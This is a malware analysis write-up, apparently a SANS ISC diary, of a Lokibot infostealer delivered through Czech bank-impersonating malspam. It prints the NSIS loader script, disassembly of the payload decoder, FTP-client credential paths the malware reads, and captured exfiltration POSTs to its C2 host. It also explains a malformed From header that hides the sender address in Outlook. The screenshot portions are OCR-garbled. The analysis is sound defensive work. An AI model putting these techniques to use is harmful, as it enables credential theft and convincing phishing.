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Couple of weeks ago, my phishing/spam trap caught an interesting e-mail carrying what turned out to be a sample
of the Lokibot Infostealer.

At first glance, the e-mail appeared to be a run of the mill malspam message.

e The text was a low-quality translation of English into Czech.

e [t claimed that the recipient needed to verify contents of attached file, that was supposed to contain
information about an upcoming funds transfer.

e The sender name and signature were supposed to look like the message came from an employee of one of

the major Czech banks.

The message, however, turned out to be more interesting than it first appeared...

Re: Bankovni pifevod_ 2021-03-26_Swift copy

“oska i Repl % Replysll | — F d
Ceska spofitelna ) Reply ) Reply orwar
e pd 26.03.2021 11:35
| Ceskasporitelna, a.s.5wift_260321_scan.zip -
.zip File
Dobré rano,

Naz klient nas poZadal o zaslani kopie priloZené platby prevodem na vas e-mail.
Emailova adresa:
Potvrdte prijeti a podle toho radte.

5 pozdravem.

(Divize zakaznickych sluzeb)
v s ©
CESKAS
sporitelna

But before we get to that, let’s quickly look at the attachment, which was interesting in its own right. The attached
ZIP archive contained an ISO file, which in turn contained an EXE. As it turned out, the executable was created
with the Nullsoft Scriptable Install System, a legitimate tool for creating installer packages for Windows, which is

sometimes used by malware authors in lieu of/in addition to a packer[1].
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EXEs created with NSIS can be opened using 7-Zip[2]. Using this approach, one can easily get access to their
contents, which in this case meant only an NSI installation script and a single DLL (0xtwa2t09nc.dll) located
within a $PLUGINSDIR subdirectory.

As its name suggests, an NSI installation script should basically specify which steps are to be taken during an

installation. In this case it contained only one function of note named .onlnit.

Function .onInit

InitPluginsDir
; Call Initialize Plugins
; SetDetailsPrint lastused

Oxtwa2t0%nc::¥cksxjzoliwxisk
; Call Initialize Plugins
; SetOverwrite off
; File SPLUGINSDIRAOxtwaZzZt0%9nc.dll
; SetDetailsPrint lastused
; CallInstDLL SPLUGINSDIR\OxtwaZt09%nc.dll Ycksxjzolwxisk

GetTempFileName
Rename S0 SPLUGINSDIENcustom.ini ; S0->SPLUGINSDIR\custom.ini
FunctioniEnd

As you may see, the .onlnit function was simply supposed to call another function called Y cksxjzoiwxisk from the
DLL located in the $PLUGINSDIR directory.
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s =

3 Exported entry 1. ¥cksxjzoiwxisk

public Ycksxjzoiwxisk
Ycksxjzoiwxisk proc near

xor eax, eax
[l il 5=
loc_le@81842:
mov cl, byte_ 1e884838[eax]
maow dl, 79h
add cl, al
not cl
xor cl, al
not cl
add cl, 22h
Xor cl, BEh
sub dl, cl
sub dl, al
Xor dl, 7Eh
add dl, SEh
xor dl, 5&6h
sub dl, al
Xor dl, eClh
add dl, al
mov byte leeeds3d[eax], dl
inc eax
cmp eax, 1AB5h
jb short loc_ leealedq2
T

il e (=

mov eax, offset byte loeade3e
jmp eax

Ycksxjzoiwxisk endp

After this function was called, a malicious payload - which turned out to be a version of the Lokibot infostealer -
would be decoded and loaded into memory. It would then copy the original executable to %appdata% directory,

create a registry key pointing to the copy of the application, remove the original executable and stay resident.

During its in-memory residence, it would try to gather sensitive data (configurations, passwords, etc.) from a list

of file system and registry locations.
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Ceskasporitelna. .
Ceskaspontelna...
Ceskasporitelna. .
Ceskaspontelna...
Ceskasporitelna. .
Ceskaspontelna...
Ceskasporitelna. .
Ceskaspontelna...
Ceskasporitelna. .
Ceskasporitelna. .
Ceskaspontelna...
Ceskasporitelna. .
Ceskaspontelna...
Ceskasporitelna. .
Ceskaspontelna...

3988 BhCreateFile
3988 BhCreateFile
3988 EhCreateFile
3933 &% RegOpenkey
3988 EhCreateFile
3988 BhCreateFile
3988 FhCreateFile
3988 BhCreateFile
3988 FhCreateFile
3988 EhCreateFile
3933 &% RegOpenkey
3988 EhCreateFile
3988 BhCreateFile
3988 FhCreateFile
3938 BhCreateFile

C:\Users\User'. corfig*fullsync’profiles xml
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C:\UsershUser\AppData“Roaming " FTPInfo*ServerList xml
C\Users'\User\AppData*Roaming"F TP Info"ServerlList cfg

IsEeNe NN e Ny

HEC UM Software\LinasF TP Site Manager

C:“Program Files (x86)\File Zilla*Filezilla xml
“zers'User'AppData’Roaming\File Zilla“filezilla xml
“Users'User\AppData Roaming'Fileilla‘recentservers xml
MUsers'User'AppData’Roaming\File Zilla‘stemanager xml
“Program Files (x86)"5taff-F TP sites ini
“Users'\User\AppDataRoaming'Blaze Ftp'site dat
HEKC U Software Flash Peak \Blaze Fip Settings
C:“Program Files (x86)"Fastream NETFile*My FTP Links
C:\Program Files (x86)\GoF TP settings"Connections ixt
CUsers‘\User\AppData*Roaming*Estsoft \ALFTP\ESTdb 2 dat
C:\Program Files (x86)\DeluxeF TP sites xml

FATH NOT FOUND
PATH NOT FOUND
FATH NOT FOUND
MAME NOT FOUND
FATH NOT FOUND
PATH NOT FOUND
FATH NOT FOUND
PATH NOT FOUND
FATH NOT FOUND
FATH NOT FOUND
MAME NOT FOUND
FATH NOT FOUND
PATH NOT FOUND
FATH NOT FOUND
PATH NOT FOUND

It would then try to contact a C2 server and exfiltrate the collected data to it using HTTP. At the time of analysis,

the server contacted by this version of the malware already appeared to be down and all attempts at accessing it by

the malware were met with a HTTP 404 error.

POST /MY2/five/fre.php HTTP/1.8
User-Agent: Mozilla/4.@8 (Charon; Inferno)

Host: kjxd.xyz
Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: lADGDeCe
Content-Length: 179

Connection: close

collocascecs ckav.ru.

.D.E
.8.F. 7 E C 2.7.4.E. D C 9 ALA.

U.s.e.r.

Date: TuE, 96 Apr 2821 @9:33:14 GMT
Content-Type: text/html; charset=UTF-8

Connection: close
Set-Cookie:

CF-Cache-Status: DYNAMIC

cf-request-id: ©9482087b2e000027bc8528T000000001
Report-To: {"endpoints"

Server: cloudflare

[{"url™:"

CF-RAY: 63baB37leebb27bc-PRG

alt-sve: h3-27=":443"; ma=86488, h3-28="

....... File not found.

A small point to note is that the malware seemed to use a fixed ~60 second beaconing period.

6169
6174
6234
6237
6283
6286

18.0.2.15

16.06.2.15

18.8.2.15

cf-nel™

184.21.88.114

184.21.88.114

184.21.88.114

¥

le4.21.
16.8.2.
le4.21.
18.8.2.
184.21.
16.8.2.

«M.JLCLM.

https:\/\/a.nel.cloudflare.com\/report?
s=hu@DNNNPDdovasEowQs9GmtBbED1ehH%2B1 IxpIWNUALQT5kEXZkNxB315qd IRhYn@7Y IpRzCxbHyQUC8Koz IHoJybBR1q6E7sAQK30%3D" ], "max_age™:
NEL: {"max_age":684808, "report_to":"

:443"; ma=86488, h3-29=":443"; ma=56400

88.114 HTTP
15 HTTP
88.114 HTTP
15 HTTP
88.114 HTTP
15 HTTP

49841
a8
49842
88
49843
a8

e
49841
aa
49542
a8
49843

SDLELSLKLT 0P - 5. 3. MM LG M s
2 8. HTTPHl 1 494 Not Found

23
68
23
68
23
(1]

[y

L

(oY

1684808, "group™: "

_ cfduid=dfa998ceT2bag27f8dafef7dbe2baf79c16177081593; expires=Thu, @6-May-21 @9:33:13 GMT; path=/; domain=.kjxd.xyz; HttpOnly; SameSite=Lax
Status: 484 Not Found

cf-nel”}

POST /My2/five/fre.php HTTP/1.@
HTTP/1.1 484 Not Found
POST /My2/five/fre.php HTTP/1.@
HTTP/1.1 484 Not Found
POST /My2/five/fre.php HTTP/1.8
HTTP/1.1 484 Not Found

{text/html)
(text/html)

{text/html)

I’ve mentioned that the malware created a registry key after it copied the original malicious executable to the

%appdata% directory. From this, you may have (quite reasonably) assumed that the key in question would have

been created in one of the usual places that might be used to ensure persistence of the malware. This might indeed

have been what authors of the malware were going for, but either due to encoding issues or some other reason,

when I executed the malware in a VM (English version of W10), the key ended up in the root of the HKCU hive

with an unexpected name.
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[ Registry Editor

Eile Edit View Favorites Help

Computer\HKEY_CURRENT_USER\ 66606169 6.9 0:00190 091109509

~ E Computer
. HKEY_CLASSES_ROOT
v HKEY_CURREMT_USER
. AppEvents
Console
Control Panel
Environment
EUDC
Keyboard Layout
Network
Printers
Software
System
Volatile Environment

HEEY_LOCAL_MACHINE
HKEY_USERS
HKEY_CURRENT_CONFIG

000000100049050011060100700

MName Type
ab] (Default) REG_SZ

EYJ 4EDCOA | REG_EXPAND_SZ

Data

(walue not set)
SEAPPDATANAED COMNAAT2CA exe

It is clear, that if the registry modification was indeed an attempt at ensuring persistence, it didn’t go according to

plan. This was however not the only interesting thing regarding encoding with our malspam... Which brings us

back to the e-mail message.

Although, as I’ve mentioned, at first the e-mail appeared quite ordinary, a second look at it led to an interesting

discovery. When an e-mail is opened in Outlook, it normally either displays both the name and an address of the

sender...

E-mail

Jan Kopriva <jan.kopriva@untrustednetwork.cz »

To Jan Kopriva

...or Outlook may, under certain specific conditions, display only the name of the sender. If one then hovers on the

name with a cursor, the name will turn blue and a corresponding Outlook contact card will be displayed.

E-mail

Jan Kopriva
To Jan Kopriva

Apart from that, one could simply right-click on the name (or on the icon with portrait or initials next to it) and

display the contact card (and the e-mail address) that way.

In the case of our malspam, however, this did not happen. The name of the sender was not interactive in any way

and if the icon with initials was right-clicked and the contact card was displayed, it was empty with no e-mail

address present.
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Y T ULE

- Archive Reply Reply Forward = - Move Categorize Follow
%Junk Al O Mare . F‘ghctiuns . z Up ~
Delete = Y Tags

Ceska sporitelna .
21-03-26_Swift copy

Ceska sp
To
[l  Ceskasporite
B zip File Contact >
We couldn't find a default email address, phone number, or
. . office for this person.
Dobré rano,

Show more
MNas klient nas poZa il.

Emailova adresa:
Potvrdte piijetia p

5 pozdravem.

(Divize zakaznickyc
w
CES
sporitelha

If one were to click on the “Reply” button, the behavior of Outlook would again seem unusual, as it would only

display the name of the sender as text in the “To” field, and not any e-mail address.

After a quick analysis, the reason for these issues became clear - they were caused by the use of non-RFC-
compliant sender address in the message, or - more specifically - by incorrectly used mixed-encoding. Per RFC
2047[3], non-ASCII encodings may be used in e-mail headers, the only requirement appears to be that the

encoded text is formatted according to the following specification:
=?charset?encoding?encoded-text?=

The use of mixed-encoding in a single header is allowed by the RFC as well, if the two encodings are whitespace

separated:

Ordinary ASCII text and 'encoded-word's may appear together in the
same header field. However, an 'encoded-word' that appears in a
header field defined as '*text' MUST be separated from any adjacent

"encoded-word' or 'text' by 'linear-white-space'.
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In cases when a sender address contains non-ASCII characters, it is therefore quite normal and proper to use — for

example — a UTF-8 encoded string for the name, followed by an ASCII string, as in the following case:
From: =?UTF-87Q?Jan_Kop=(5=99iva?= <jan@notimportant.tld>

This would result in the following sender information being displayed:

Jan Kopfiva <jan@notimportant.tld=>

So where is the issue with our malspam message? Let’s take a look at its From header:
From: =?UTF-8?B?xIx1c2vDoSBzcG/FmW10ZWxuYQ==?=, a.s. <info@[redacted].xyz>

As you may see, there is not a white space character after the end of the UTF-8 encoded text. However even if we
were to put a whitespace after it, things would not look as they should — Outlook would simply display the same

text in a decoded form, followed by the encoded form...

Ceska spofitelna «=7UTF-87B7xlxlc2vDoSBzcG/FmWIOZWxUYQ==7="=>
To

You can however probably guess where the issue lies — it is in the comma. Comma is a special character in the
area of e-mail communication (consider that we separate multiple recipients by it) and therefore if it were used in
a display name of a sender, it would need to be quoted to be compliant with RFC 5322[4]. This is something the

senders of the malspam probably didn’t know — they simply separated the intended display name into two parts:

o one with non-ASCII characters, which would have to be UTF-8 encoded, and
o the other one (", a.s."), that didn't contain non-ASCII characters and could therefore be left in the original

unencoded form... Or not, as our example shows.

If one were to put the comma, or the entire second part of the display name, in quotes, the sender information

would finally look as it was supposed to.

Ceska spofitelna , a.s. <info@  xyz>
To

As we may see, the “missing address” issue was caused by a non-RFC-compliant message being interpreted by

Outlook, that expects to parse RFC-compliant content.

So, is this a vulnerability? Not really — Outlook appears to be working pretty much in accordance with the RFC
specification... Unfortunately, as our malspam message shows, distributors of malicious e-mail messages don’t
necessarily have to conform to such standards, which may result in an unexpected behavior when such a message

is received.
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Although a missing sender address in an e-mail from an unknown/external sender would be most suspicious to
any security-minded recipient, to most regular users the fact that only a (potentially well-known) name would be
displayed where a sender address should be could make any message appear much more trustworthy. So even
though the use of non-compliant sender addresses probably won’t be the “next big thing” in phishing, it is
certainly good to know that it is possible and that it is used in the wild, even if (at least so far) completely
unintentionally. And it may also be worth it to mention the corrensponding behavior of Outlook in any advanced

security awareness classes dealing with targetted attacks that you might teach...
Indicators of Compromise (IoCs)

Ceskasporitelna, a.s.Swift_260321_scan.zip (172 kB)
MDS5 - bed356d0c4c8d80bff2dea8045602044
SHA1 - f67f9dee7683aeb617183e0ceab4db5830a417f8

Ceskasporitelna, a.s.Swift_260321_scan.exe (511 kB)
MDS5 - f6a59e6f73bc89e1d75db46£32d624dc
SHA-1 - ae70271d98402a100fcf3f6bc2d209025c9c321f

Oxtwa2t09nc.dll (116 kB)
MDS5 - 93d707a549d1b91001efbd75e858064d
SHA-1 - 3939a8e4935e4561a005fee08ac831ff0bd4f207

[1] https://threatpost.com/raticate-group-industrial-firms-revolving-payloads/155775/

[2] https://isc.sans.edu/forums/diary/Quick+analysis+of+malware+created+with+NSIS/23703/
[3] https://tools.ietf.org/html/rfc2047
[4] https://tools.ietf.org/html/rfc5322

Jan Kopriva

@jkOpr
Alef Nula

Source: https://isc.sans.edu/diary/27282
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